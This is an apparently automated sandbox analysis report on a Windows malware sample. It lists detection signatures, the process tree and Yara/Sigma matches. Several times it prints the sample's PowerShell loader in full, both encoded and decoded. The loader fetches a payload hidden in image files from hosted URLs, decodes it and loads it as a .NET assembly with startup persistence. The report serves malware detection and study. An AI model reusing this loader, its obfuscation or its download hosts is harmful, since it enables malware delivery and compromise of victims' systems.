Edit tour

Windows Analysis Report
GdGXG0bnxH.exe

Overview

General Information

Sample name:	GdGXG0bnxH.exe renamed because original name is a hash value
Original sample name:	8970eef61ba5b0d180b01242796bad53.exe
Analysis ID:	1576152
MD5:	8970eef61ba5b0d180b01242796bad53
SHA1:	b321407f1f5ce589c99060e413e8edd676f4301c
SHA256:	14fc6009715e1f4627e3fd9cefb81c27d55f766a210c651b6a0491b075f46189
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download and load assembly

Sigma detected: Powershell download payload from hardcoded c2 list

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

.NET source code references suspicious native API functions

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Binary contains a suspicious time stamp

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses Microsoft's Enhanced Cryptographic Provider

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

GdGXG0bnxH.exe (PID: 2404 cmdline: "C:\Users\user\Desktop\GdGXG0bnxH.exe" MD5: 8970EEF61BA5B0D180B01242796BAD53)

cmd.exe (PID: 7248 cmdline: cmd.exe /c 675c87f6bfee1.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7360 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7412 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bi$GE$cwBl$DY$N$BM$GU$bgBn$HQ$a$$g$D0$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$GI$YQBz$GU$Ng$0$EM$bwBt$G0$YQBu$GQ$I$$9$C$$J$Bp$G0$YQBn$GU$V$Bl$Hg$d$$u$FM$dQBi$HM$d$By$Gk$bgBn$Cg$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Cw$I$$k$GI$YQBz$GU$Ng$0$Ew$ZQBu$Gc$d$Bo$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bj$G8$bQBt$GE$bgBk$EI$eQB0$GU$cw$g$D0$I$Bb$FM$eQBz$HQ$ZQBt$C4$QwBv$G4$dgBl$HI$d$Bd$Do$OgBG$HI$bwBt$EI$YQBz$GU$Ng$0$FM$d$By$Gk$bgBn$Cg$J$Bi$GE$cwBl$DY$N$BD$G8$bQBt$GE$bgBk$Ck$Ow$g$C$$I$$k$HQ$ZQB4$HQ$I$$9$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$Ow$g$CQ$b$Bv$GE$Z$Bl$GQ$QQBz$HM$ZQBt$GI$b$B5$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBS$GU$ZgBs$GU$YwB0$Gk$bwBu$C4$QQBz$HM$ZQBt$GI$b$B5$F0$Og$6$Ew$bwBh$GQ$K$$k$GM$bwBt$G0$YQBu$GQ$QgB5$HQ$ZQBz$Ck$Ow$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YwBv$G0$c$By$GU$cwBz$GU$Z$BC$Hk$d$Bl$EE$cgBy$GE$eQ$g$D0$I$BH$GU$d$$t$EM$bwBt$H$$cgBl$HM$cwBl$GQ$QgB5$HQ$ZQBB$HI$cgBh$Hk$I$$t$GI$eQB0$GU$QQBy$HI$YQB5$C$$J$Bl$G4$YwBU$GU$e$B0$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$HQ$eQBw$GU$I$$9$C$$J$Bs$G8$YQBk$GU$Z$BB$HM$cwBl$G0$YgBs$Hk$LgBH$GU$d$BU$Hk$c$Bl$Cg$JwB0$GU$cwB0$H$$bwB3$GU$cgBz$Gg$ZQBs$Gw$LgBI$G8$YQBh$GE$YQBh$GE$cwBk$G0$ZQ$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$EU$bgBj$G8$Z$Bl$GQ$V$Bl$Hg$d$$g$D0$WwBD$G8$bgB2$GU$cgB0$F0$Og$6$FQ$bwBC$GE$cwBl$DY$N$BT$HQ$cgBp$G4$Zw$o$CQ$QgB5$HQ$ZQBz$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$G0$ZQB0$Gg$bwBk$C$$PQ$g$CQ$d$B5$H$$ZQ$u$Ec$ZQB0$E0$ZQB0$Gg$bwBk$Cg$JwBs$GY$cwBn$GU$Z$Bk$GQ$Z$Bk$GQ$Z$Bh$Cc$KQ$u$Ek$bgB2$G8$awBl$Cg$J$Bu$HU$b$Bs$Cw$I$Bb$G8$YgBq$GU$YwB0$Fs$XQBd$C$$K$$n$C$$d$B4$HQ$LgBJ$Gs$SQBo$GM$ZwBh$C8$cwBk$GE$bwBs$G4$dwBv$GQ$LwBz$GY$dwBx$GU$cQB3$C8$d$B3$HE$ZQB3$HE$ZQ$v$Gc$cgBv$C4$d$Bl$Gs$YwB1$GI$d$Bp$GI$Jw$s$C$$Jw$w$Cc$L$$g$Cc$UwB0$GE$cgB0$HU$c$BO$GE$bQBl$Cc$L$$g$Cc$TQBz$GI$dQBp$Gw$Z$$n$Cw$I$$n$D$$Jw$p$Ck$fQB9$$==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $sodigo.replace('$','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7548 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7412	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7412	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xbd62f:$b2: ::FromBase64String( 0x1202d8:$b2: ::FromBase64String( 0xbd402:$b3: ::UTF8.GetString( 0x1200ab:$b3: ::UTF8.GetString( 0xf4c8:$s1: -join 0x5e916:$s1: -join 0x70b3e:$s3: reverse 0x77793:$s3: reverse 0x7977a:$s3: reverse 0x847a9:$s3: reverse 0x8f6ee:$s3: reverse 0x8f9dc:$s3: reverse 0x900f6:$s3: reverse 0x908af:$s3: reverse 0x9799a:$s3: reverse 0x97db4:$s3: reverse 0x9893c:$s3: reverse 0x995e9:$s3: reverse 0xd48df:$s3: reverse 0xddf41:$s3: reverse 0x169b7e:$s3: reverse
Process Memory Space: powershell.exe PID: 7548	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7548	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xee61:$b2: ::FromBase64String( 0x860d4:$b2: ::FromBase64String( 0x86edd:$b2: ::FromBase64String( 0xaf321:$b2: ::FromBase64String( 0xb018b:$b2: ::FromBase64String( 0xcad96:$b2: ::FromBase64String( 0xe1627:$b2: ::FromBase64String( 0xeb8bd:$b2: ::FromBase64String( 0xec34:$b3: ::UTF8.GetString( 0x85ea7:$b3: ::UTF8.GetString( 0x86cb0:$b3: ::UTF8.GetString( 0xaf0f4:$b3: ::UTF8.GetString( 0xaff5e:$b3: ::UTF8.GetString( 0xcab69:$b3: ::UTF8.GetString( 0xe13fa:$b3: ::UTF8.GetString( 0xeb690:$b3: ::UTF8.GetString( 0x4a4fb:$s1: -join 0x55f33:$s1: -join 0xa8f37:$s1: -join 0x7c87:$s3: Reverse 0x8b65:$s3: Reverse

Other

Source	Rule	Description	Author	Strings
amsi64_7548.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Spreading

Sigma detected: Powershell download payload from hardcoded c2 list

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startInde

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' 